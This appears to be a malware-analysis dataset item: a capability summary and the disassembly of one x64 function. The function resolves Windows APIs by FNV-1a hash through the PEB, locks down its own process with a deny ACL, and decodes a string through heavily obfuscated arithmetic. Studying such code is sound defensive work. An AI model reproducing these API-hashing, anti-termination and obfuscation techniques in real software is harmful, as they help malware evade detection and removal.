Function at 0x140101c54
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using base64
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x240
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x14033fc00]
xor rax, rsp
mov qword [rbp + 0x108], rax
mov byte [rbp - 0x4c], r9b
mov byte [rsp + 0x70], r8b
mov rdi, rdx
mov qword [rbp - 0x80], rdx
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
xor r12d, r12d
mov dword [rsp + 0x60], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x178]
movabs r8, 0xff00ff00ff00ff07
mov qword [rbp + 0x28], r8
mov qword [rbp + 0x30], rdx
mov rax, qword [rdx]
xor rax, r8
mov qword [rbp + 0x20], rax
mov qword [rdx], r12
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x50], r12
mov rdx, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140101d02
mov rdx, qword [rcx]
mov r8, qword [rcx + 0x10]
lea rcx, [rbp + 0x38]
call fcn.1400db1bc
lea rcx, [rbp + 0x38]
call fcn.1400e25ec
call fcn.1401379e8
movsx r13d, al
call fcn.1401379e4
movsx ecx, al
imul r13d, ecx
mov dword [rsp + 0x78], r13d
call fcn.1401379f4
movsx r10d, al
mov dword [rbp - 0x78], r10d
lea ecx, [r10 + r13*8]
add ecx, r13d
mov dword [rbp - 0x40], ecx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0db
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x14034150a]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea ecx, [r10 + r13*4]
add ecx, r13d
mov dword [rbp - 0x70], ecx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r9d, 9
mov qword [rbp - 0x48], r9
cmp eax, ecx
je 0x140101e19
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x140101e7a
imul ecx, r13d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, r10d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140101e75
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
add eax, r13d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140101e7a
mov r9d, dword [rsp + 0x78]
lea edx, [r13*4]
add edx, r13d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14010b0db
call fcn.14012f678
mov rdx, qword [0x140342f90]
test rdx, rdx
jne 0x140102023
mov ebx, r12d
mov edi, 0x6dd8a845
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r10, r14
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x140101f2e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140101f21
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140101f12
cmp edx, ebx
jne 0x140102004
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140102004
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140102004
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov esi, 0x811c9dc5
jmp 0x140101f82
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140101f77
cmp esi, edi
je 0x140101f99
test r11d, r11d
jne 0x140101f62
xor r12d, r12d
jmp 0x140102004
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x140102253
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140102253
mov ebx, 0x811c9dc5
mov edi, ebx
jmp 0x140101fdf
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140101fd1
inc rdx
xor r12d, r12d
jmp 0x140101ffb
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140101fed
mov r10, qword [r14]
mov rax, qword [r10]
mov r10, rax
cmp rax, r14
je 0x140102019
cmp qword [rax + 0x30], r12
jne 0x140101ee6
mov rdx, r12
mov qword [0x140342f90], rdx
call rdx
mov r15, rax
mov cl, 1
call qword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
lea edi, [rax + 0x14]
mov ecx, edi
call fcn.140142c8c
mov r14, rax
mov r8d, edi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, 2
mov edx, edi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_InitializeAcl]
mov qword [rbp + 0xb8], r12
and dword [rbp + 0xd8], 0
mov word [rbp + 0xdc], 0x500
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8d, [r9 + 0x12]
mov dl, 1
lea rcx, [rbp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov r9, qword [rbp + 0xb8]
mov edx, 2
mov r8d, 0x1f0000
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_AddAccessDeniedAce]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov edx, 1
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
mov r8, r14
lea edx, [r9 + 1]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rbp + 0xb0], r12
and dword [rbp + 0xd0], 0
mov word [rbp + 0xd4], 0x1000
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8d, 0x2000
mov dl, 1
lea rcx, [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea edi, [rax + 0x14]
mov ecx, edi
call fcn.140142c8c
mov rsi, rax
mov r8d, edi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, 2
mov edx, edi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_InitializeAcl]
mov r9, qword [rbp + 0xb0]
mov edx, 2
mov r8d, 0x1fffff
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
xor r9d, r9d
mov r8, rsi
lea edx, [r9 + 1]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
lea r8, [rbp + 0xe0]
mov edx, reloc.WS2_32.dll_sendto
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
mov rcx, r14
call fcn.1401428ac
mov rcx, rsi
call fcn.1401428ac
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov rbx, qword [0x140342ee8]
test rbx, rbx
jne 0x14010236e
mov edi, r12d
mov esi, 0xeac42c07
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140102277
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010226a
xor r12d, r12d
jmp 0x14010201c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010225b
cmp edx, edi
jne 0x14010234f
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x14010234f
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010234f
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x1401022cb
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1401022c0
cmp ebx, esi
je 0x1401022e2
test r11d, r11d
jne 0x1401022ab
xor r12d, r12d
jmp 0x14010234f
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r8
cmp rbx, r9
jbe 0x1401023ca
lea rcx, [rax + r9]
cmp rbx, rcx
jae 0x1401023ca
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14010232a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14010231c
inc rbx
xor r12d, r12d
jmp 0x140102346
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140102338
mov r10, qword [r15]
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x140102364
cmp qword [rax + 0x30], r12
jne 0x140102227
mov rbx, r12
mov qword [0x140342ee8], rbx
mov rdx, qword [0x140342ef8]
test rdx, rdx
jne 0x1401024e2
mov edi, r12d
mov r14d, 0x20a0780
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r10, r12
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401023eb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401023de
xor r12d, r12d
jmp 0x140102367
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401023cf
cmp edx, edi
jne 0x1401024be
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1401024be
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401024be
mov r13d, dword [r9 + 0x20]
dec r11d
lea rcx, [r11*4]
add rcx, r13
mov edx, dword [rcx + r8]
add rdx, r8
mov esi, 0x811c9dc5
jmp 0x140102446
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14010243b
cmp esi, r14d
je 0x14010245b
test r11d, r11d
jne 0x14010241f
jmp 0x1401024be
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1401024d6
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x1401024d6
mov eax, 0x811c9dc5
mov edi, eax
mov r14d, eax
jmp 0x14010249c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010248e
jmp 0x1401024b1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401024a4
mov r10, qword [r12]
mov rax, qword [r10]
mov r10, rax
cmp rax, r12
je 0x1401024d4
cmp qword [rax + 0x30], 0
jne 0x14010239e
xor edx, edx
mov qword [0x140342ef8], rdx
mov r13d, dword [rsp + 0x78]
call rdx
mov ecx, eax
call rbx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rbp - 0x40]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov ebx, 0xcded1a85
mov dword [rbp - 0x74], ebx
mov r12d, 0xf84eee59
mov dword [rbp - 0x6c], r12d
mov dword [rbp - 0x68], 0xb3002016
mov dword [rbp - 0x64], 0x2fd4df39
mov dword [rbp - 0x60], 0xe80fd3a
mov dword [rbp - 0x5c], 0xa52bcaf9
mov r14d, 9
cmp eax, ecx
je 0x140104606
mov dword [rbp - 0x30], 0xdfc2ceb3
mov dword [rbp - 0x2c], 0xaad7d3d5
mov dword [rbp - 0x28], 0x91d7d9a9
mov word [rbp - 0x24], 0xd7a7
mov dword [rbp - 0x22], 0x47d4
xor eax, eax
mov byte [rbp - 0x1e], al
or r15, 0xffffffffffffffff
mov dil, byte [rsp + 0x70]
call fcn.140141d74
mov rbx, qword [rax]
call fcn.140141d7c
mov rsi, qword [rax]
xor r10d, r10d
cmp r10, 0x13
jae 0x140102f09
movzx r8d, byte [rbp + r10 - 0x30]
mov r9b, r8b
cmp rbx, r10
ja 0x140102f00
lea rax, [rsi + 1]
cmp rbx, rax
jae 0x1401025cb
movabs rcx, 0x1c2255f7bfa2b70d
add rcx, r10
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x5b
jmp 0x1401025f8
je 0x140102e8c
lea rax, [rsi + 2]
cmp rbx, rax
je 0x140102e45
lea rax, [rsi + 4]
cmp rbx, rax
je 0x140102e2a
lea rax, [rsi + 5]
cmp rbx, rax
je 0x140102dea
mov r9b, r8b
cmp rsi, r10
ja 0x140102ef7
lea r11, [rsi + 1]
lea rax, [rsi + 4]
cmp rbx, rax
jae 0x14010263b
movabs rdx, 0x4ed10d52b8590411
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dl, 0x77
add dil, dl
lea rcx, [rsi + 3]
lea rdx, [rsi + 5]
jmp 0x14010265e
cmp rbx, r11
je 0x140102dcd
lea rcx, [rsi + 3]
cmp rbx, rcx
je 0x140102db5
lea rdx, [rsi + 5]
cmp rbx, rdx
je 0x140102d8d
lea rax, [rsi + rbx]
cmp rax, r10
jbe 0x140102aee
lea rax, [rsi + 0x7a]
cmp rbx, rax
je 0x140102ad1
lea rax, [rsi + 0x40]
cmp rbx, rax
je 0x140102aaa
lea rax, [rsi + 4]
cmp rbx, rax
je 0x140102a87
lea rax, [rsi + 0x1000]
cmp rbx, rax
je 0x140102a63
lea rax, [rsi + 0x20]
cmp rbx, rax
je 0x140102a3d
lea rax, [rsi + 2]
cmp rbx, rax
je 0x140102a1a
lea rax, [rsi + 0x3e8]
cmp rbx, rax
je 0x1401029f6
lea rax, [rsi + 0xa]
cmp rbx, rax
je 0x14010266b
lea rbx, [rsi + 1]
lea rsi, [rbx + 0xa]
lea rax, [rsi + 0x200]
cmp rbx, rax
jb 0x140102edb
lea rax, [rsi + 9]
cmp rbx, rax
jb 0x140102ebf
lea rax, [rsi + 0x5a]
cmp rbx, rax
jb 0x1401027f0
lea rax, [rsi + 0x64]
cmp rbx, rax
jb 0x1401027ca
lea rax, [rsi + 6]
cmp rbx, rax
jb 0x14010299f
lea rax, [rsi + 0x7a]
cmp rbx, rax
jb 0x14010294f
lea rax, [rsi + 0x40]
cmp rbx, rax
jb 0x140102902
lea rax, [rsi + 4]
cmp rbx, rax
jb 0x14010266b
lea rbx, [rsi + 0x28]
lea rsi, [rbx + 0x1000]
lea rax, [rsi + 3]
cmp rbx, rax
ja 0x1401028de
lea rax, [rsi + 0x400]
cmp rbx, rax
ja 0x1401028ba
lea rax, [rsi + 0x10]
cmp rbx, rax
ja 0x140102896
lea rax, [rsi + 1]
cmp rbx, rax
ja 0x140102882
lea rax, [rsi + 0x200]
cmp rbx, rax
ja 0x14010285e
lea rax, [rsi + 9]
cmp rbx, rax
ja 0x14010283a
lea rax, [rsi + 0x5a]
cmp rbx, rax
ja 0x140102816
lea rax, [rsi + 0x64]
cmp rbx, rax
ja 0x14010266b
lea rbx, [rsi + 0x41]
lea rsi, [rbx + 6]
jmp 0x14010266b
movabs rdx, 0xe6001958e13f5f5
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
add dil, 0x4d
add dil, dl
jmp 0x1401025fb
movabs rdx, 0xd61b55a60ece87db
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
add dil, 3
add dil, dl
jmp 0x140102596
movabs rdx, 0x76886a95c2c82088
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140102e04
movabs rcx, 0x5ff12b6c43d4454
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
jmp 0x140102e40
movabs rdx, 0xcdba66c744f7d63a
add rdx, r10
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140102d20
movabs rdx, 0x9575bad7c5b26820
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140102a72
movabs rcx, 0x5d310ee8466cfa06
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2a
jmp 0x140102da3
movabs rdx, 0xeca7b70947e21dd2
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140102e63
movabs rcx, 0xb4630b19c89cafb8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
jmp 0x140102eab
movabs rcx, 0xef72b1538b29ae5d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x75
cmp rsi, r14
jb 0x140102cff
mov r11b, r10b
lea edx, [r11 + 0x2e]
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
mov r9b, r8b
jmp 0x140102e0a
movabs rcx, 0xb72e05640be44043
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x2b
cmp rbx, 0x40
jae 0x140102d09
lea rax, [rsi + 0x61]
cmp rbx, rax
jbe 0x140102ca9
lea edx, [r10 + 0x2a]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x140102921
movabs rcx, 0x7ee959748c9ed229
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1f
lea rax, [rsi + rbx]
cmp rax, 2
je 0x140102d45
lea rax, [rsi + 0x10]
cmp rbx, rax
jbe 0x140102bcc
lea edx, [r10 + 0x19]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x51
add dil, dl
jmp 0x14010296e
movabs rdx, 0xd8e64ff052161866
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140102b2d
movabs rdx, 0xa0a1a400d2d0aa4c
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x14
jmp 0x140102e63
movabs rdx, 0x685cf811538b3c32
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x5e
mov r11b, r10b
jmp 0x140102d5e
movabs rdx, 0xf7d3a03255005ffe
mov ecx, 7
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140102b72
movabs rdx, 0xbf8ef442d5baf1e4
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x3c
jmp 0x140102d20
movabs rdx, 0x874a4853567583ca
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140102e40
mov r11b, r10b
lea ecx, [r11 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140102947
lea rax, [rsi + 8]
cmp rbx, rax
jae 0x140102b14
lea edx, [r10 + 0xd]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5b
add dil, dl
jmp 0x1401029be
cmp rbx, r11
jne 0x140102b35
lea edx, [r10 + 0x22]
mov ecx, r14d
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140102eab
cmp rbx, rcx
jne 0x140102b57
mov r11b, r10b
lea edx, [r11 + 0x56]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
jmp 0x140102d5b
cmp rbx, rdx
jne 0x140102b7a
lea edx, [r10 - 0x76]
mov ecx, Ordinal_33
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140102d40
lea rax, [rsi + 2]
cmp rbx, rax
jne 0x140102b9e
lea ecx, [r10 - 0x42]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x140102e40
lea rax, [rsi + 6]
cmp rbx, rax
jne 0x1401029be
mov r11b, r10b
lea edx, [r11 - 0xe]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
mov r9b, r8b
jmp 0x140102e07
lea rax, [rsi + 1]
cmp rbx, rax
jne 0x140102bef
mov r11b, r10b
lea edx, [r11 + 0x33]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x65
jmp 0x140102bc4
lea rax, [rsi + 2]
cmp rbx, rax
jne 0x140102c13
lea ecx, [r10 + 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1b
jmp 0x140102e25
lea rax, [rsi + 3]
cmp rbx, rax
jne 0x140102c37
lea ecx, [r10 + 0x67]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x2f
jmp 0x140102e40
lea rax, [rsi + 5]
cmp rbx, rax
jne 0x140102c5b
lea ecx, [r10 - 0x4b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0xd
jmp 0x140102da3
lea rax, [rsi + 7]
cmp rbx, rax
jne 0x140102c81
lea edx, [r10 - 0x17]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5f
mov r9b, r8b
jmp 0x140102e63
lea rax, [rsi + 6]
cmp rbx, rax
jne 0x14010296e
lea ecx, [r10 + 3]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x15
jmp 0x140102eab
lea rax, [rsi + 1]
cmp rbx, rax
jne 0x140102cc0
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x140102b20
lea rax, [rsi + 5]
cmp rbx, rax
jne 0x140102cd7
lea edx, [r10 - 0x54]
mov ecx, Ordinal_41
jmp 0x140102b65
lea rax, [rsi + 2]
cmp rbx, rax
jne 0x140102921
lea ecx, [r10 - 0x20]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140102e40
mov byte [rbp + r10 - 0x30], dil
jmp 0x140102eb7
lea edx, [r10 + 0x48]
mov al, r8b
and al, dl
mov cl, r8b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
mov r9b, r8b
add dil, dl
lea edx, [r10 + 0x55]
mov al, dl
and al, r9b
add al, al
mov cl, dil
sub cl, al
sub cl, 0x53
add cl, dl
add cl, r9b
mov byte [rbp + r10 - 0x30], cl
add rbx, rsi
jmp 0x140102da3
mov r11b, r10b
lea edx, [r11 + 0x62]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
mov r9b, r8b
add dil, dl
add r11b, 0x6f
mov al, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, r9b
sub r11b, r14b
movzx eax, r11b
mov byte [rbp + r10 - 0x30], al
inc rsi
add rax, rsi
sub r10, rax
jmp 0x140102e66
lea ecx, [r10 - 0x53]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x45
movzx eax, dil
mov rcx, r15
sub rcx, rax
add r10, rcx
jmp 0x140102eb7
lea ecx, [r10 + 0x5f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x67
jmp 0x140102e40
mov r11b, r10b
lea edx, [r11 + 0x2b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2d
jmp 0x140102bc4
mov dl, r10b
sub dl, r14b
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
mov r9b, r8b
mov r11b, r10b
add dil, dl
add r11b, 0x3b
mov al, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x63
add r11b, r9b
mov byte [rbp + r10 - 0x30], r11b
inc rsi
jmp 0x140102e40
lea ecx, [r10 - 0x3d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x55
dec r10
jmp 0x140102eb7
movabs rdx, 0x8cabadd6be2d9341
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r9b
sub dil, al
add dil, 0x39
add dil, dl
lea ecx, [r10 + 0x7c]
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x64
add cl, r9b
mov byte [rbp + r10 - 0x30], cl
inc rbx
mov rax, r15
sub rax, rbx
add r10, rax
jmp 0x140102eab
movabs rcx, 0x546701e73ee82527
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x11
movzx eax, byte [rbp + r10 - 0x30]
add rax, rsi
add r10, rax
inc r10
jmp 0x140102583
sub r10b, 0x3f
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
sub dil, 0x47
jmp 0x140102580
sub r10b, 0x59
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
add dil, 0x6f
jmp 0x140102570
lea rax, [rbp + 0x152fc8c]
jmp 0x140102f0d
lea rax, [rbp + 0x135b399]
jmp 0x140102f0d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x68], rax
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x90]
call fcn.1400db660
nop
